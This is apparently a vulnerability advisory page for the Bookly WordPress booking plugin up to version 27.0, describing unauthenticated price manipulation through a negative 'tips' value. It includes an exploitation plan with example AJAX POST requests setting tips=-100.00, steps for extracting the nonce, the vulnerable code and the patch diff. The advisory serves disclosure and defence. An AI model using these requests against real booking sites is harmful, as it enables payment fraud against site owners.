Online Scheduling and Appointment Booking System – Bookly <= 27.0 - Unauthenticated Price Manipulation via 'tips'
Description
The Online Scheduling and Appointment Booking System – Bookly plugin for WordPress is vulnerable to price manipulation via the 'tips' parameter in all versions up to, and including, 27.0. This is due to the plugin trusting a user-supplied input without server-side validation against the configured price. This makes it possible for unauthenticated attackers to submit a negative number to the 'tips' parameter, causing the total price to be reduced to zero.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=27.0What Changed in the Fix
Changes introduced in v27.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2519 - Bookly Price Manipulation ## 1. Vulnerability Summary The **Online Scheduling and Appointment Booking System – Bookly** plugin (versions <= 27.0) contains a logic flaw where user-supplied input for the `tips` parameter is trusted without server-side val…
Show full research plan
Exploitation Research Plan: CVE-2026-2519 - Bookly Price Manipulation
1. Vulnerability Summary
The Online Scheduling and Appointment Booking System – Bookly plugin (versions <= 27.0) contains a logic flaw where user-supplied input for the tips parameter is trusted without server-side validation. Specifically, the plugin fails to ensure that the tip amount is a non-negative value. An unauthenticated attacker can submit a negative value for the tips parameter during the booking process, which is then added to the total service price, effectively reducing the final amount to zero and allowing free bookings of paid services.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
bookly_render_payment(orbookly_checkout) - Vulnerable Parameter:
tips - Authentication: Unauthenticated (accessible via
wp_ajax_nopriv_handlers) - Preconditions:
- Bookly plugin must be active.
- A service with a non-zero price must be configured.
- A page must contain the Bookly booking form shortcode:
[bookly-form].
3. Code Flow
- The booking process is managed by
Bookly\Lib\UserBookingData. - During the "Payment" step of the booking wizard, the frontend sends an AJAX request to update the user's booking session.
- The property
protected $tips;inlib/UserBookingData.php(line 104) is populated from the request. - The
$propertiesarray (line 144) includes'tips', indicating it is a dynamically settable property from user input. - In the calculation phase (likely in
Bookly\Lib\Cart::getInfo()), the plugin sums the service price and thetipsvalue. - Because the code lacks a check like
max( 0, $tips ), a negative value (e.g.,-50.00) is subtracted from the total.
4. Nonce Acquisition Strategy
Bookly uses a CSRF token (nonce) for all its AJAX operations. This token is typically localized for the frontend.
- Identify Shortcode: The plugin uses
[bookly-form]. - Create Test Page:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[bookly-form]' - Navigate and Extract:
Navigate to the new page.
The nonce is stored in a JavaScript object localized by the plugin, usuallybookly_ajaxorBooklyL10n. - Browser Eval:
Usebrowser_eval("bookly_options.csrf_token")to retrieve the token.
5. Exploitation Strategy
The goal is to proceed through the booking steps and inject a negative tip that zeroes out the total price.
Step 1: Initialize Session and Progress Steps
Bookly uses a multi-step AJAX process. You must simulate moving through the steps.
- Action 1 (Service Selection):
action=bookly_render_time - Action 2 (Time Selection):
action=bookly_render_details - Action 3 (User Details):
action=bookly_render_payment
Step 2: Inject Negative Tip
When calling the step that calculates or renders the payment, or during the final checkout, include the negative tips parameter.
HTTP Request (Example):
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=bookly_render_payment&
csrf_token=[NONCE]&
form_id=[FORM_ID]&
tips=-100.00&
...[other session parameters]...
Step 3: Finalize Checkout
If the total price is reduced to zero, the plugin may allow the "Local Payment" (or skip payment) to succeed even for premium services.
HTTP Request (Checkout):
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=bookly_checkout&
csrf_token=[NONCE]&
form_id=[FORM_ID]&
tips=-100.00
6. Test Data Setup
- Staff Member: Create a staff member.
- Service: Create a service named "Premium Consulting" with a price of
100.00. - Page: Create a page with
[bookly-form]. - Settings: Ensure at least one payment method is active (e.g., "Local Payment").
7. Expected Results
- The
bookly_render_paymentresponse should return HTML/JSON showing a "Total" of0.00. - The
bookly_checkoutresponse should indicate success ("success": true) and create an appointment without requiring a valid payment gateway transaction.
8. Verification Steps
- Check Database: Use
wp db query "SELECT * FROM wp_bookly_payments ORDER BY id DESC LIMIT 1;". - Verify Total: Confirm the
totalcolumn in the database for the new payment record is0.00despite the service price being100.00. - Check Tip Value: Confirm the
tipscolumn contains the negative value (e.g.,-100.00).
9. Alternative Approaches
If bookly_render_payment does not allow the manipulation, attempt the injection at the bookly_save_appointment_details action or directly during the bookly_checkout action.
If the form uses a different JS variable, use browser_eval("Object.keys(window).filter(k => k.includes('bookly'))") to find the correct localization object containing the csrf_token.
Summary
The Bookly plugin for WordPress is vulnerable to price manipulation in versions up to and including 27.0 because it trusts user-supplied input for the 'tips' parameter without server-side validation. An unauthenticated attacker can submit a negative value for this parameter during the checkout process, which is subtracted from the total service cost, allowing them to book appointments for free.
Vulnerable Code
// lib/UserBookingData.php:104 /** @var float */ protected $tips; --- // lib/UserBookingData.php:144 // Step payment 'coupon_code', 'gift_code', 'tips', 'deposit_full', --- // lib/UserBookingData.php:361 public function fillData( array $data ) { foreach ( $data as $name => $value ) { if ( in_array( $name, $this->properties ) ) { $this->{$name} = $value; } elseif ( $name == 'chain' ) { --- // lib/UserBookingData.php (inferred from patch diff around line 1898) public function setTips( $tips ) { $this->tips = $tips; return $this; }
Security Fix
@@ -144,7 +144,6 @@ // Step payment 'coupon_code', 'gift_code', - 'tips', 'deposit_full', // Cart item keys being edited 'edit_cart_keys', @@ -361,7 +360,9 @@ public function fillData( array $data ) { foreach ( $data as $name => $value ) { - if ( in_array( $name, $this->properties ) ) { + if ( $name === 'tips' ) { + $this->setTips( $value ); + } elseif ( in_array( $name, $this->properties ) ) { $this->{$name} = $value; } elseif ( $name == 'chain' ) { $chain_items = $this->chain->getItems(); @@ -1898,7 +1899,7 @@ */ public function setTips( $tips ) { - $this->tips = $tips; + $this->tips = max( 0, (float) $tips ); return $this; }
Exploit Outline
The exploit targets the AJAX booking flow of the Bookly plugin. An unauthenticated attacker first obtains a valid CSRF token (`csrf_token`) from the localized JavaScript on any page containing the `[bookly-form]` shortcode. The attacker then initiates a multi-step booking process via `admin-ajax.php`. During the step that renders payment information or finalizes the checkout (actions like `bookly_render_payment` or `bookly_checkout`), the attacker includes the `tips` parameter in the POST request with a negative value (e.g., `tips=-50.00`). Because the server lacks validation on this input and uses a setter that directly assigns the value, the negative 'tip' is added to the total, effectively subtracting from the service price. If the total is reduced to zero, the plugin allows the appointment to be finalized without a valid payment transaction.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.